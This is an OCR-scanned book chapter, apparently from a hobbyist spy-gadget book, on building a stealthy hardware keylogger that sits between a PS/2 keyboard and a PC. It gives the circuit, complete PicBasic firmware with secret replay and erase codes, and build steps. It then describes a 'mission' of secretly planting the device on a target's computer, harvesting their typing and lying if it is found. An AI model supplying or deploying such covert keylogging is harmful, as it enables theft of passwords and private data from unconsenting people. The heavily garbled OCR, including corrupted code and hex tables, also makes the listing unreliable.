To  build  the  HKL.  you  will  need  some  type  of 
progrwnmer  for  whatever  microconiroller  you  decide 
to  use.  At  the  time  of  writing  this  book,  the  E^cMicro 
I6f628  series  was  by  far  the  most  popular 
microcontroller  for  hobbyists  due  m its  low  cost  and 
ease  of  prognunming.  Of  course,  any  microcontroller 
with  at  lea.st  hve  I/O  pins  will  work  including  the 
Parallax  SX  series.  Basic  stomp,  or  the  Aimel  AVR 
series  of  microccmirollers.  The  code  itself  is 
presented  here  in  PicBa.sic  fMmai.  but  could  be 
ported  to  any  other  language,  including  assembler, 
in  minutes,  as  it  is  very  simple.  I hove  also  tested 
this  code  in  SX-Wiz.  a nice  basic  compiler  for  the 
Parallax  SX  series  microcontroller  that  can  be 
downloaded  os  a trial  version  from  www.sxwiz.cum. 

Befm  we  dig  right  into  the  hardware  and  code, 
let’s  have  a look  at  how  the  PC  keyboard  talks  to 
(be  computer.  As  shown  in  Figure  1 1-5.  there  arc 
two  digital  signals  of  interest,  a clock  and  a data 
signal.  To  scad  iofonnation  to  the  PC,  the 
keyboard  first  checks  both  the  clock  and  data  line 
to  make  sure  they  are  both  high.  The  keyboard  will 
not  send  (o  the  PC  if  either  line  is  low  because  this 
means  that  another  device  is  sending  data  to  or 
^m  the  PC.  Once  both  the  clock  and  data  lines 
are  high  (idle  state),  the  keyboard  then  begins 
generating  a clock  and  data  signal  like  the  one 
shown  in  Figure  1 1 -5. 
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Figure  11*6  Pin  assignments  for  the  two  conmon  PC  keyboard  cotmecton. 


The  data  from  the  keyboard  is  on  lUtnt  fhrnie 
shifted  into  the  PC  on  the  falling  edge  of  the  dock 
signal.  The  1 1 -bit  frame  consists  of  a start  bit, 
which  is  always  a zero  (low  data  line),  followed  by 
8 bits  of  information  representing  a scan  code  for 
whatever  key  has  been  pressed.  The  8 bits  of 
information  are  docked  in  to  (he  PC  on  the  falling 
edge  of  each  dock  pulse  starting  with  (he  least 
significant  bit  first  (L5B).  Once  ail  $ bits  of 
information  are  shifted  out  of  the  keyboard,  an  odd 
parity  bit  is  sent  for  error  checking  followed  by  a 
single  stop  bit.  which  is  always  a one  <high  data 
line).  The  code  running  on  the  HKL‘s 
microcontroller  will  simply  wait  for  the  clock  to 
change  from  the  idle  state,  and  then  read  in  the 
next  8 bits  to  retrieve  the  scon  code  sent  from  (be 
keyboard.  This  data  will  then  be  stored  into  the 
EEPROM  for  later  playback.  The  parity  bit  and 
stop  bit  are  essentially  Ignored,  as  I have  yetto  see 
a keyboard  moke  a mistake. 

The  wiring  from  the  keyboard  to  the  PC  is  very 
simple,  and  besides  the  clock  and  data  lines  (here 
are  only  two  extra  lines,  one  for-f  5*volts  (o  power 
the  keyboard’s  electronics,  and  a grtHind.  The  fact 
that  the  keyboard  draw$^  its  power  from  the  PC  is  a 
bonus  for  us.  This  means  (hat  our  stealthy  HKL 
can  just  leech  power  from  the  PC  as  well  as  it 
spies  on  the  keyboard.  The  standard  PC  keyboard 
uses  what  is  known  as  a PS/2  coouecior  (6  pins), 
but  there  is  also  an  older  5*pin  DIN  style  keyboard 
that  was  used  on  early  Peniium  computers.  Bcah 


plugs  contain  the  same  basic  clock,  data,  and 
power  lines,  but  are  laid  out  slightly  difTertmly 
as  shown  in  Figure  1 1-6. 

By  far,  the  PS/2  connector  will  be  the  most 
widely  used,  but  you  Just  never  know  when  you 
mighi  come  across  the  older  style,  so  it  is  shown 
as  well.  The  easiest  method  for  connecting  the 
HKL  between  the  keyboard  and  PC  is  to  cut  the 
ends  0^  (be  appropriate  keyboard  extension 
cable  so  you  will  have  both  the  male  and  female 
connector  ends  to  work  with.  The  HKL  basicall) 
connects  between  the  keyboard  and  PC.  and  by 
using  the  ends  from  a keyboard  extension  cable, 
it  will  easily  blend  right  in  with  the  mess  of 
cabling  behind  the  PC.  Cut  the  extension  cable  to 
leave  about  two  inches  of  wire  after  the 
connectors  to  work  with.  Strip  the  ends  of  all  the 
wires  then  use  your  meter  to  figure  out  which 
color  corresponds  to  which  pin  (the  pins  are 
numbered  on  the  connector).  Red  and  black  do 
not  always  mean +5  and  GND,  so  moke  sure  to 
check  each  pin.  You  may  be  wondering  why  the 
cable  needs  to  be  cut  at  all,  since  the  HKL  only 
monitors  the  keyboard  signals.  Could  it  not  just 
listen  in  just  like  a phone  tap  would  without 
disturbing  or  breaking  the  wires?  The  answer  is 
yes  it  could,  but  since  the  HKL  also  needs  to 
playback  the  keystrokes  to  the  computer,  it  will 
have  to  disconnect  the  keyboard  first  when  doing 
so,  which  is  why  we  have  to  break  the 
connectioa. 
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Look  at  the  schematic  diagram  in  figure  1 1-7. 
tn  three  ICs  that  moke  up  the  core  of  the  HKL.  As 
70U  can  see.  this  simple  circuit  consists  of  three 
fuM — the  256  k EEPROM  chip  (241c256).  to  store 
d»  keystroke  data,  the  4066  analog  switch  to  turn 
o<r  the  PC  keyboard  when  enterit)g  playback 
node,  and  the  actual  microcontroller  to  run  the 
code.  (PlC16f628)  in  my  case.  There  are  a few 
Ksisiors  to  keep  logic  levels  intact,  and  a crystal 
cesonator  for  clocking  the  microcontroiler.  but 
other  than  that,  only  a few  wires  are  used  to  create 
dttenbre  hardware. 

^ Let's  go  over  the  function  of  each  of  the  three 
ICs  used  in  the  schematic  to  understand  what  they 
I are  doing,  and  how  you  can  use  altemaie  pans  if 
\ you  choose. 

The  241c256  EEPROM  is  an  12C  (2  wire)  serial 
EEPROM  that  has  a capacity  of  256  K or  enough 
memory  to  hold  300  pages  of  text.  Because 
this  EEPROM  uses  the  12C  protocol,  it  can  easily 
be  swapped  out  for  a larger  or  smaller  EEPROM 


just  by  changing  a few  lines  of  code  to  control  the 
address  count  variables.  This  EEPROM  will  al.so 
keep  its  memory  contents  intact  for  years  without 
power,  so  removal  of  the  HKL  for  later  playback 
will  not  be  a problem.  The  4066  quod  bilateial 
analog  switch  is  a very  basic  1C  that  acts  much  like 
a relay — it  sends  voltage  to  a single  line  A to  control 
the  flow  of  information  oa  lines  B and  C.  Since  we 
want  to  disable  the  PC  keyboard  during  playback 
from  EEPROM.  we  will  turn  off  both  the  clock  and 
data  line  from  the  PC.  Only  two  of  the  four  switches 
on  the  4066  are  used,  and  they  are  both  controlled 
by  only  a single  pin  on  the  micfocontroller  by 
connecting  both  switch  control  Hoes  together.  To 
enable  Ibe  PC  keyboard's  clock  and  data  lines, 
a +5  voltage  is  sent  from  d)c  microcontroller 
to  bod)  control  lines  of  switch  A and  B.  Any  logic 
controlled  !>witdi  could  be  used  in  place  of  the 
4066.  including  a pair  of  5*volt  relays,  but  (he 
4066  b such  an  inexpensive  and  common  part, 
ii  is  (be  best  choice. 
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The  heart  of  ihe  HKL  is  of  course,  ihe 
microcontroller.  I chose  ibe  PicMicro  16f628 
because  U was  most  commoo  part  of  choice  for 
hobbyist  at  (he  (tme.  and  very  easy  to  program 
with  even  a simple  home  brew*  programmer.  There 
are  absolutely  no  spectaJ  requirements  of  the 
microconiruller.  besides  the  availability  of  Qve  I/O 
pins — two  for  the  I2C  EEPROM.  Two  for  ihe 
keyboard  clock  and  data  lines,  and  one  to  control 
the  4066  switches.  All  of  these  1/0  pons  are 
digiiuh  so  just  about  any  microcontroller  would  lit 
the  bill.  For  rapid  development.  I chose  DIP  ICs 
rather  than  surface  mount,  and  although  this  did 
yield  a very  small  final  product,  surface  mounted 
components  would  allow  a key  logger  small 
enough  to  fit  right  into  the  wiring  shield  if  you  had 
Ihe  patience  to  build  such  a unit.  All  of  these  ICs 
are  available  in  surface  mount  format.  The  initial 
HKL  is  done  using  a prototyping  "breadboard'’  for 
cose  of  programming,  and  debugging,  and  as  you 
can  see  in  Figure  1 l*S.  (here  really  isn't  much  to 
(his  stealthy  device.  A breadboand  is  a thin  plastic 
board  full  of  holes  used  to  hold  componenu  such 
as  iransistors,  microcontrollers,  and  chips  that  are 
wired  together.  The  IC  at  the  top  is  the 
4066  switch  with  the  PC  keyboard  line  coming 
in  one  side  and  then  exiting  the  other  back  to 
the  computer.  The  IC  at  the  bonom  left  is 
(he  16f628  microcontroller  shown  with  a 


Fl  g UFE  11>B  Hardwan  key  logger  built  on  a 
prototyping  breadboard. 


10  MHz  crystal  right  above,  and  to  the  right  of 
the  161628  is  the  256  k EEPROM. 

Brea<U)oaiding  is  no  ^blem  ai  all  with  this 
project,  as  there  are  no  high  frequency  signals,  or 
ixoblems  with  long  wires,  and  at  this  stage  it  is 
easy  to  trace  down  a bug  if  one  should  exist  tn 
wiring  or  pans  pUcemem.  Although  The  hardware 
is  ctMnplete  at  this  point,  the  microcontroller  is 
dumb  as  a stump,  so  nothing  will  happen  if  you 
power  il  all  up  and  boot  up  your  computer.  In  fact, 
you  won't  even  be  ab)c  to  use  your  PC  keyboard 
because  the  line  from  the  4066  to  the  PIC  will  be 
low— switching  off  the  PC  keyboard  (this  does  not 
moke  the  PC  har^y  when  it  boots).  To  get  ihls 
little  guy  working,  we  ore  going  to  have  (o 
program  that  microcontroller.  I will  Hrst  show  you 
the  basic  source  code,  and  (hen  explain  It.  Keep  in 
mind  that  due  to  space  constralms.  this  is  (he 
absolute  minimal  working  code  for  a key  logger, 
and  although  it  is  as  bare  bones  as  it  con  be, 

11  does  in  fact  yield  a fully  working  HKL. 

Refer  to  the  source  code  in  Listing  1 1,1.  It  should 
be  fairly  easy  to  understand  being  written  In  Basic. 
If  you  don't  feel  like  typing  oil  of  ihat  in,  or  ju»i 
want  (he  HEX  file  to  dump  right  into  the  PIC. 
then  visit  the  Atomic  Zombie  website,  and  it  will 
be  there  for  download.  I do  not  want  to  give  you 
on  exact  URL  at  this  time,  because  I like  to 
change  my  site  around,  and  may  even  update  the 
code— just  visit  http://www.atomiczomble.com, 
and  look  around,  it  will  be  easy  to  find. 

Listing  11.1  HardLuare  key 
logger  source  code  in 
PicBasic  format 

;116F628A  DEFINES] 

@ device  HS.OSC 
e Device  WDT.OFF 
^ Device  PWRT.OFF 
^ Device  BOD.OFT 


154 


i2cread  sda4cl4A04dr.[lpl] 
if  Ipl  =0  then  goto  dooe 
next 
done: 


@ Device  MCLR^OFF 
define  osc  10 
define  shift^pauseus  40 
CMCON=7 
VRCON=0 

; [VARIABLES] 
mde  var  bit 

; MODE:  0 ^RECORD  ! I ^PLAYBACK 

clkvarpona.l  ; KEYBOARD  CLOCK  PIN 

duvarporta.0  ; KEYBOARD  DATA  PIN 

kbs  var  ponb.O  : KEYBOARD  4066  SWITCH 

5cl  var  Portfl.3  ; EEPROM  CLOCK  PIN 

sda  var  Porta.2  : EEPROM  DATA  PIN 

adr  var  word  ; EEPROM  ADDRESS 

chr  var  word  ; OUTPUT  FRAME 

key  var  byte  : SCANCODE 

bkc  var  bytt  ; BREAK  CODE 

biv  var  byie  ; BIT  VALUE 

Ip  I var  by w ; LOOP  VARIABLE 

aft  var  byte  ; SHIFT  KEY  FLAG 

Uf  var  bit  ; LAST  SHIFT  KEY  STATE 

pwc  var  byte  ; PASSWORD  BYTE  COUNTER 

pwd  var  byte[6] ; MASTER  PASSWORD 

dear 

; [STARTUP] 
input  elk 
input  dta 
output  kbs 
kbssl 

; [FIND  EMPTY  EEPROM  ADDRESS] 
for  adr=0  to  32767 


main: 

; (RECORD  LOOP)  •••••••••••■••*•*••»•••• 

: [READ  START  BIT] 
gosub  clock 

if  dia  s 1 then  goto  main 

t (READ  NEXT  8 DATA  BITS] 
keysO 

for  Ipl  s0to7 
gosub  clock 
ifdusi  (hen 

lookup  lpL(L2,4.8.16.32,64,l28),blv 

keys  key -t-btv 

endif 

next 

: (READ  PARITY  BIT] 
gosub  dock 

;[READ  LAST  STOP  BIT] 
gosub  clock 

; [CHECK  BREAK  CODE-lGNORE  NEXT 
KEY] 

rf  bkc  = 1 then 

if  key  s S 12  or  key  =S59  (hen  sfi  s 0 

key=0 

bkc=0 
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endif 

: PGNORE  BREAK  CODE] 

if  key=$F0  then 

bkc  = l 

golo  main 

endif 

; [R/L  SHIFT  KEY  ON] 

if  key  8=112  orkeys$59  then  sfts] 

; [FILTER  SCANCOOES  TO  RECORD) 

Ipl  =255 
lookdovm 

kex.[SlC,S32.$21.S23424J2B434i33.S43.S36. 

$42,$4B43A.S3l. 

,S44.$4D.$15,$2D41B.$2C$3CJ2A3ID,S22435 

,$IA.$45.$J6,$1E,$26,$25. 

,$2E,$36.$3D.S3E.S46,$4E,$55,$29,S54,S7C,$7B, 

$79,$71,$70469,S72.$7A. 

.$6B,$73,$74.$6C,$75^a$3B.$4C.$52^L$49. 

$4A|JpI 

; (STORE  (CAPS)  KEY) 
if  key  = S5S  then 
key  s SS4  : gosub  store 
key  s $2  ] : gosub  store 
key  as  SIC  : gosub  store 
key  B S4D : gosub  store 
key  = SIB  ! gosub  store 
key  B $SB  : gosub  store 
endif 

; [STORE  SHIFT  ON  (SHI)  / SHIFT  OFF  (SHO)] 

if  sft  <>  Isf  then 

Isfssft 

key  B $54  : gosub  store 
key  = SIB  : gosub  store 


key  = $33  : gosub  store 

if  sft  s 0 then  key  = $45  : gosub  store 

if  sA  s 1 then  key  = $16  : gosub  store 

key  =;  $5B  : gosub  store 

endif 

; ISTORE  NORMAL  KEY  IN  EEEPROM] 
if  Ip  I < 255  then 
gosub  store 

; [LOOK  FOR  SECRET  CODES] 
for  Ipl  s0lo4 
pwdllpl]  Bpwd(]pl  4-1) 
next 

pwd(5)  = key 

; (SECRET  CODE  ‘ATOMIC’’-GOrO 
PLAYBACK  MODE! 
if  pwd[0]  = SIC  and  pwd[l]  = S2C  and 
pwd[2]  = $44  and  pwd(3]  = $3A  and 
pwdI4]  * $43  and  pwd(5J  = $21  then  mde  = 1 

; (SECRET  CODE  “EERASE’-ERASE 
EEPROM) 

if  pwd(O)  = $24  and  pwd(  I ) = $24  and 

pwd(2|  = $2D  and  pwd(3]  b$IC  and 

pwd[4)  B $1B  and  pwd(5]  b $24  then  gosub  erase 

endif 

: (PLAYBACK  L(X)P)  »»•••••••••••«•••**•«* 

: (DUMP  EEPROM  TO  PC) 

if  mde  = 1 then 

kbsBO 

adfB  0 

lpl=0 
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; [READ  DATA  FROM  EEPRDM) 
send; 

i2cread  sda.scl,SAO.a(k;[key] 

Pause  10 
adr  = adr>|>l 

; [EXIT  IF  END  OF  DATA) 

ifkeyssOlhen 

mde  = 0 

input  dk 

input  dta 

kbs  = 1 

aJr  s adr  • 1 

goto  main 

endif 

; [SEND  CR  AFTER  80  CHARSJ 

lp|slpl  + l 
if  Ipl  then 
ipl  sO 
udrs  adr-1 
key  s S5A 
endif 

; [GOTO  SENDK6Y  ROUTINEI 
go^ub  sendkey 

goto  send 
endif 
goto  main 


; [FUNCTIONS] 


; [WATT  FOR  CLOCK  CYCLE] 
dock: 


if  dk  = 0 then  geno  clock 
Ip: 

if  elk  = 1 (ben  goto  Ip 
return 

; IWAJT  FOR  IDLE  CLOCK) 
idle: 

if  elk  s 0 then  goto  idle 
ifdu  s 0 (hen  goto  idle 
return 

; [STORE  KEY  TO  EEPROM) 
store: 

i2cwriie  sda4cl,SA0<adr«[key] 
adrs  adr-t'l 
Pause  10 
return 

; (SEND  SCANCODE  TO  PC] 

sendkey: 

gosub  idle 

chr  B key  < I 

chr.O  = 0 

cbr.9  = noUkey.O  ^ key.  1 key.2  key.3 
key.4  key-5  ^ key-6  key-?) 

chr-lOB  I 

shifiout  diaxlk,4.[chiM  1| 
input  elk 
input  dta 
return 

: [ERASE  EK^ROM-TAKES  3 MINUTES] 
erase: 

Ipl  =0 
blv  = 0 
kbs=:0 
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^ey  = $5A 
gosub  .sendkey 
for  adf  as  0 to  32767 
i2c write  sda,sd^A0^.[O] 
pause  4 

; [SEND  PROGRESS  DOTS) 

lplslpl  + 1 

if  Ip  I 7 100  Chen 

Ip]  sO 

key  = S49 

biv  s biv  + I 

if  btv  = 22  then 

btvsO 

key  s$3A 

endif 

gosub  sendkey 

endif 

next 

keysS5A 
gosub  sendkey 
adr  = 0 
kbss  1 
return 

Now,  let’s  break  this  code  down  into  functions.  I 
will  describe  each  section  of  code  referring  to  the 
capitalized  tides  surrounded  by  square  brackets  in 
Che  comment  tines. 

[16F628A  DEFINES]  This  is  specific  to  the 
PIC16f528  and  (he  programmer  used.  These  lines 
rum  off  the  watchdog  timer,  any  analog  inputs,  and 
define  the  speed  of  the  oscillator — 10  MHz  in  my 
cose,  although  any  speed  between  4 MHz  and 
20  MHz  seemed  to  work  just  fine. 

[VARIABLES]  These  are  the  working  variables 
for  the  program.  The  variables  with  the  word 
PORT  in  (hem  refer  to  actual  pins  on  the 


microccmtroller  for  such  things  as  EEPROM 
read/wrice  functions,  keyboard  clock  and  data 
input,  and  the  4066  switch  control  line.  All  other 
variables  are  bit  (on  or  o^.  byte  (8  bits),  or  word 
<16  bits).  The  comments  after  each  variable  are 
self-explanatory. 

[STARTUP]  This  is  run  once  the  power  to  the 
microcooiroMer  is  applied.  We  must  tell  (he  PIC 
(hat  (be  dodt  (elk)  and  data  (dta)  pins  are  both 
inputs,  and  (he  4066  comrol  line  (kbs)  is  an  output. 
We  also  send  a high  (+5  volu)  to  the  switch  to 
enable  the  PC  keyboard. 

[FIND  EMPTY  EEPROM  ADDRESS!  In  order 
to  avoid  beginning  a the  stan  of  the  EEPROM 
when  writing  the  keystrokes,  essentially  erasing  it 
every  dme  the  computer  is  powered  up,  ihi.s  loop 
searches  for  the  first  empty  space  in  tlie  EEPROM 
to  begin  write  <^raUon$.  When  an  empty  space  is 
found,  the  variable  <adr)  holds  this  location  and  the 
program  continues . Depending  on  (he  size  of  your 
EEEPROM,  this  loop  may  need  to  be  changed  to 
search  (be  entire  length  of  your  EEPROM. 

[RECORD  LOOP]  Tlus  is  where  all  of  the  spy 
functions  happen.  Until  the  secret  code  is  entered, 
the  program  wilt  run  this  loop,  recording  every 
keystroke  lo  the  EEPROM. 

(READ  START  BIT)  The  keyboard  starts 
sending  information  to  the  computer  as  soon  as 
both  (he  dock  and  data  lines  are  high  (idle),  and  it 
is  the  start  bit  that  signals  the  stan  of  a frame,  so 
we  will  wail  for  this  to  happen.  A subroutine 
[WAIT  FOR  CLOCK  CYCLE]  is  called  lo  wait  for 
one  cycle  of  the  clock  line  to  happen,  and  then  the 
daia  line  is  checked  for  a scan  bit  (low  on  dta).  If 
<du)  is  high  then  the  loc^  exits,  as  this  is  not  a 
valid  start  bit. 

[READ  NEXT  8 DATA  BITS)  This  is  the  most 
important  part  of  the  loop,  as  it  reads  the  actual 
scan  code  from  the  keyboard.  These  8 bits  are 
shifted  in  on  the  falling  edge  of  the  clock  cycle 
with  the  LSB  first,  which  is  why  the  lookup  table 
cotuains  the  values  1. 2.4,8. 16.32, 64, 128.  It  adds 
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iDcsTo  tne  vanaoie  iKcyj  ii^  data  ime  is" 
high.  If  we  are  oq  the  fourth  bit.  for  example  and 
the  data  line  is  high,  then  the  value  8 would  be 
added  to  (key)  from  the  lookup  table.  Tbe  >'aJue  of 
(key)  will  range  from  0 to  255  depending  on  whal 
key  was  pressed, 

IREAD  PARITY  BIT]  This  calls  the  clock  cycle 
subroutine,  which  essentially  ignores  the  parity  bit. 
You  could  calculate  parity  here,  but  this  is  most 
likely  not  necessary, 

|R£AD  LAST  STOP  BITl  Again,  just  ignore  the 
next  bit,  as  we  already  have  our  8 bits  of  data. 

(CHECK  BREAK  CODE-IGNORE  NEXT  KEY) 
Since  scan  code.s  arc  sem  from  the  computer  as 
make  (.single  scan  code),  and  break  (the  $F0  code 
followed  again  by  the  scan  code),  the  program 
must  figure  out  what  to  record.  A scan  code  is  sent 
when  a key  is  pressed,  then  the  break  code 
followed  by  the  scan  code  is  sent  when  ihc  key  is 
TcleaKed,  so  we  will  just  ignore  the  break  code  and 
that  next  key.  There  is  no  point  waiting  for  the 
release  key,  as  we  know  it  will  eventually  come. 
The  only  exception  to  this  is  when  tbe  shiA  key  is 
released  so  that  we  can  record  it — this  is  where  the 
variable  (sft)  is  set. 

[IGNORE  BREAK  CODE}  This  is  where  the 
break  code  (SFO)  is  detected.  If  found,  the  loop  is 
forced  to  Mm  over,  and  the  vari^le  (bkc)  is  set. 
which  is  how  the  last  section  of  code  know:v  there 
was  a break  code, 

(R/L  SHIFT  KEY  ON]  This  controls  the  (sft) 
variable,  which  reflects  the  state  of  either  the  right 
or  left  shift  keys. 

IFiLTERSCANCODES  TO  RECORD]  This 
block  of  code  decides  which  of  (he  scan  codes  are 
to  be  recorded  to  EEPROM  by  use  of  a locdtdown 
cable.  Lf  a scan  code  is  present  in  tbe  tabic.  ii  will 
be  recorded,  if  not  the  variable  key  is  set  to  255. 

We  don’t  want  to  record  all  of  (he  scan  codes,  or 
playback  wtiuld  be  a mess  since  characters  like  Ctrl, 
alt.  or  delete  would  actually  hav'e  an  eRect  oa  tbe 
open  window  during  playback  as  we  will  see  later. 


[STORE  (CAPS)  KEY]  To  store  the  caps  lock 
key  for  playback  we  must  convert  it  into 
MMTiething  recognixable  to  the  text  window  that 
will  be  used  for  playback.  The  caps  lock  key  has 
no  printed  character  associated  with  it  so  we  will 
create  a 5-characier  entry  in  the  fOTmat  “(CAPS]" 
that  will  be  sent  to  tbe  EEPROM.  Every  time  ihe 
caps  lock  key  is  pressed,  6 bytes  will  be  sent  to  the 
EEPROM — (he  scan  codes  for  the  characters 

[STORE  SHIFT  ON  (SHI)  / SHIFT  OFF  (SHO)l 
just  like  the  caps  lock  key  we  must  store  the  state 
of  (he  left  and  right  shift  key,  as  the  keyboard  is 
locally  unaware  of  case.  For  the  key .4.  we  will 

store  ^•(SHl)"  for  shift  down,  and  ‘'[SHO]’*  for  shift 
release.  The  rest  of  the  code  block  makes  .sure  the 
code  is  only  stored  once,  so  that  when  the  user 
holds  down  the  shift  key.  it  is  not  stored  over  and 
over  IS  the  keyboard's  automatic  repeat  kicks  in, 
[STORE  NORMAL  KEY  IN  EEHPROMI  If  a 
scan  code  is  found  in  the  lockdown  table,  it  will  be 
stored  to  EEPROM — this  is  the  subroutine  called 
[STORE  KEY  TO  EEPROM]  which  uses  Uic  I2C 
routine  built  into  PkBasic. 

[LOOK  FOR  SECRET  CODES]  There  are  two 
commands  that  the  program  looks  for — the  secret 
password,  and  (he  format  command.  Keys  are 
stored  in  a RFO  buffer  (pwd)  which  can  hold  six 
scan  codes  in  a row. 

(SECRET  CODE  ‘ATOMJC'-GOTO  PLAYBACK 
MODE]  This  checks  the  (pwd)  FIFO  buffer 
for  (he  wttd  "ATOMIC.'*  which  is  our  secret 
command  to  dump  the  contents  of  the  EEPROM 
back  to  (be  PC.  If  (he  secret  code  is  found,  the 
variable  (osdel  is  set  to  1,  which  tells  the  prognim 
to  run  the  | PLAYBACK  L(X)P]  rather  then  the 
[RBCXDRD  LOOP]  which  it  is  cuiremly  running. 

You  should  change  this  secret  password  to 
something  much  more  cryptic  and  difficult  to  q 

guess  because  the  word  ATOMIC  may  be  too  VQ 
common.  Just  add  the  scan  code  value.s  to  each  of  ^ 
the  6 (pwd)  variables  to  look  for  whatever  word  ^ 
you  like.  ^ 
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T5tl.Klil  CUUb"hhKMfc  -TRASE  ' 
EEPROM]  This  is  another  secret  code,  that  when 
found  will  cause  the  pragram  to  jump  to  the 
[ERASE  EEPROM-TAKES  3 KUNUTES] 
subroutine.  Just  like  it  says,  it  Rlls  the  entire 
EEPROM  with  zeros,  and  it  lakes  a while  due  to  (be 
slower  write  cycle  of  the  I2C  EEd^M.  Progress 
dots  are  sent  to  the  PC  so  you  know  that  ii  is 
actually  running.  Once  complete,  the  program  goes 
back  to  [RECORD  MODEl.  The  secret  code  for  this 
fuociioD  is  ‘*EERASE” — another  6-lcticr  code. 

[PLAYBACK  LOOP}  From  here  on,  the  program 
will  be  operating  in  playback  mode,  a one  shot 
loop  that  dumps  all  of  the  EEPROM  back  (o  the 
PC.  To  do  this,  the  PIC  must  emulate  (he  PC 
keyboard,  which  also  requires  the  real  keyboard  to 
be  disconnected  temporarily. 

[DUMP  EEPROM  TO  PCI  First  we  check  the 
state  of  the  variable  (mde).  if  ii  is  I.  then  playback 
mode  starts  and  the  variable  (kbs)  is  set  low.  When 
(kbs)  is  set  low.  the  4066  switch  gets  a logic  low. 
and  the  PC  keyboard  is  totally  disconnected  fonn 
the  PC,  leaving  the  PIC  to  have  its  way  with  the 
PS/2  pon. 

[READ  DATA  FROM  EEPROM]  Before  scan 
codes  can  be  sent  to  the  PC.  they  must  be  retrieved 
from  the  EEPROM.  and  this  block  of  code  does 
that  by  calling  the  PicBasic  function  l2Cread.  It 
.starts  at  the  beginning  of  the  EEPROM.  and  then 
adds  1 to  the  address  variable  (adr). 

[BXrriFENDOFDATA]  If  the  EEPROM 
contains  blank  data  (key =0).  then  that  is  ail  there 
is  to  read,  so  the  program  can  switch  the  4066 
back  on  and  return  to  record  mode.  This  is  when 
you  would  invoke  the  secret  code  '*EERASE"‘  (o 
wipe  the  HKL  back  to  empty. 

[SEND  GRAFTER  80  CHARS)  Tb  make  the 
playback  a little  less  ugly,  a carriage  return  is  sent 
to  the  PC  after  dumping  $0  characters.  This  will 
allow  easy  viewing  of  the  data  in  Notepad,  or  even 
at  the  command  line. 


[GOTO  SENDKEY  ROUTINE]  Tliis  calls  the 
routine  JSEND  SC ANCODE  TO  PC],  which  does 
the  work  of  shifting  out  tlie  scan  code  back  to  the 
PS/2  port,  h does  this  by  creating  the  1 1 bit  frame 
containing  (he  start  bit  (zero),  the  eight  data  bits 
representing  the  scan  code,  and  then  adds  the 
parity  bit  calculated  by  the  formula  not(key.O 
key.  I ^ key.2  ^ key.  3 ^ key.4  ^ key  5 ^ key. 6 
key.7),  and  finally  the  stop  bit  (I).  The  PicBasic 
ShiftOut  command  takes  care  of  the  clocking  out 
of  (he  data. 


That  is  basically  the  entire  program.  There  is  a 
lot  of  room  for  Improvements  such  as  the  ability  to 
set  the  secret  codes  on  the  fly,  or  to  set  a pointer  in 
the  EEPROM  relating  (0  the  current  address  rather 
than  foimairing  the  entire  memory.  You  could  also 
VfOrk  some  magic  with  compression  or  even 
encryption  Just  in  case  the  HKU  falls  into  enemy 
hands.  Building  the  final  HKL  is  a snap,  as  there  is 
so  Utile  wiring  that  it  can  be  placed  on  a small  bit 
of  perf  board  and  hand  soldered  a.s  shown  in 
Rgure  n-9.  The  PIC.  4066,  EEPROM  and  crystal 
fit  on  a board  no  longer  than  2 inches,  and  about 
half  an  inch  wide.  If  you  are  brave  enough  to 
aitempi  to  surface  mount  ICs.  then  it  can  be  made 
much  smaller. 

Once  you  have  mounted  the  components  and 
soldered  all  the  pins  correctly,  the  two  halves  of 
the  keyboard  extenslMi  cable  will  be  mounted  to 


Figure  11*9  The  final  hardware  key  logger  buHl  on  a 
bit  of perf  board. 


160 


Figure  ll>1D  Wrapped  and  seated,  the  completed  HKL 
ftady. 


ihe  HKL.  Keep  your  pin  ouLs  handy,  and  remember 
that  the  female  connector  is  the  input  side  from  the 
keyboard,  which  must  feed  directly  into  the  4066 
switch,  and  the  male  connector  will  head  back  to 
(he  PC  from  the  4066  and  the  PIC. 

1 slid  a piece  of  heat  shrink  tubing  over  ihe  small 
circuit  board  and  then  lie  wrapped  the  wires  for 
strength  as  shown  on  Figure  1 1'lO.  You  could  also 
build  the  entire  unit  into  a snap-on  RF  choke,  or 
even  right  into  the  actual  keyboard  if  you  can  gain 
that  type  of  access  to  the  unit.  The  more 
inconspicuous  the  Hnol  product,  the  less  the 
chances  of  detection;  but  realisticaily,  how  many 
people  look  behind  their  PCs  at  any  regular 
interval  (well,  besides  spies  like  us,  ihal  U)? 

Once  you  have  your  HKL.  it's  time  to  send  it  on 
a mission!  A typical  mission  would  go  something 
like  ihis.  First,  you  would  saunter  into  the  area 
containing  the  target  PC,  and  as  soon  as  a 1 0 
second  window  of  opportunity  appeared,  unplug 
the  user's  keyboard  and  snap  the  HKL  in  place. 
This  can  be  done  with  the  PC  turned  on,  as  ibe 
PS/2  port  is  friendly  this  way.  Within  a 
microsecond,  Ihe  HKL  is  up  and  running  in  record 
mode,  catching  every  keystroke  that  (he  user 
presses,  up  to  about  300  pages  worth  oq  the  256  k 
EEPROM.  When  a day  passes,  or  even  a week, 
look  for  that  10  second  window  of  c^>pofTuoicy 
again  to  remove  (he  HKL  out  of  service  so  that 
you  can  take  it  to  view  on  another  PC.  or  if  you 
dare,  view  the  contents  right  at  the  to^et  PC  by 
typing  ifi  the  secret  playback  password.  Once  you 


FJguru  11*11  Like  a chanteleoti.  she  HKL  blends  riaht 
in  with  the  other  cobles. 


have  the  (ext  you  want,  simply  copy  and  paste  it  to 
your  network,  or  removable  disk,  and  now  you 
have  the  evidence  or  information  you  were  looking 
for.  If  the  user  comes  walking  into  your  office  with 
a dumbfounded  expression,  and  the  HKL  dangling 
in  their  hand,  perhaps  explain  that  you  are  trying 
out  a new  RP  filter  due  to  a noisy  outlet.  Sunspots 
maybe?  You  must  learn  to  use  your  imagination  in 
this  business,  my  friend.  Chances  are.  though,  it 
will  never  be  detected,  as  the  sealed  HKL  blends 
right  into  that  mess  of  wires  that  drive  us  nuts  (see 
Figure  IMl). 

Well.  I hope  you  hod  fun  with  the  HKL,  it  was  a 
very  rewarding  project  to  build,  and  it  sure  teaches  ^ 
a lot  about  the  working.^  of  the  PC  and  its  q 

keyboard.  It's  amazing  when  you  realize  that  such 
a small,  simple  device  can  defeat  any  level  of  iQ 

software  based  security,  and  if  placed  inside  a (h 
keyboard,  could  go  undetected  by  even  the  best  H 
security  experts.  What’s  in  your  keyboard? 
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There  are  times  when  text  aJone  is  just  not  enough, 
and  you  wish  you  could  see  an  exact  miiror  of  the 
user's  PC  screen,  and  there  are  in  fact  quite  a few 
ways  to  accomplish  this  task.  The  ea.siesi  way  to 
“echo"  a computer  screen  is  with  wte  of  those 
programs  that  ore  designed  to  allow  you  to  remote 
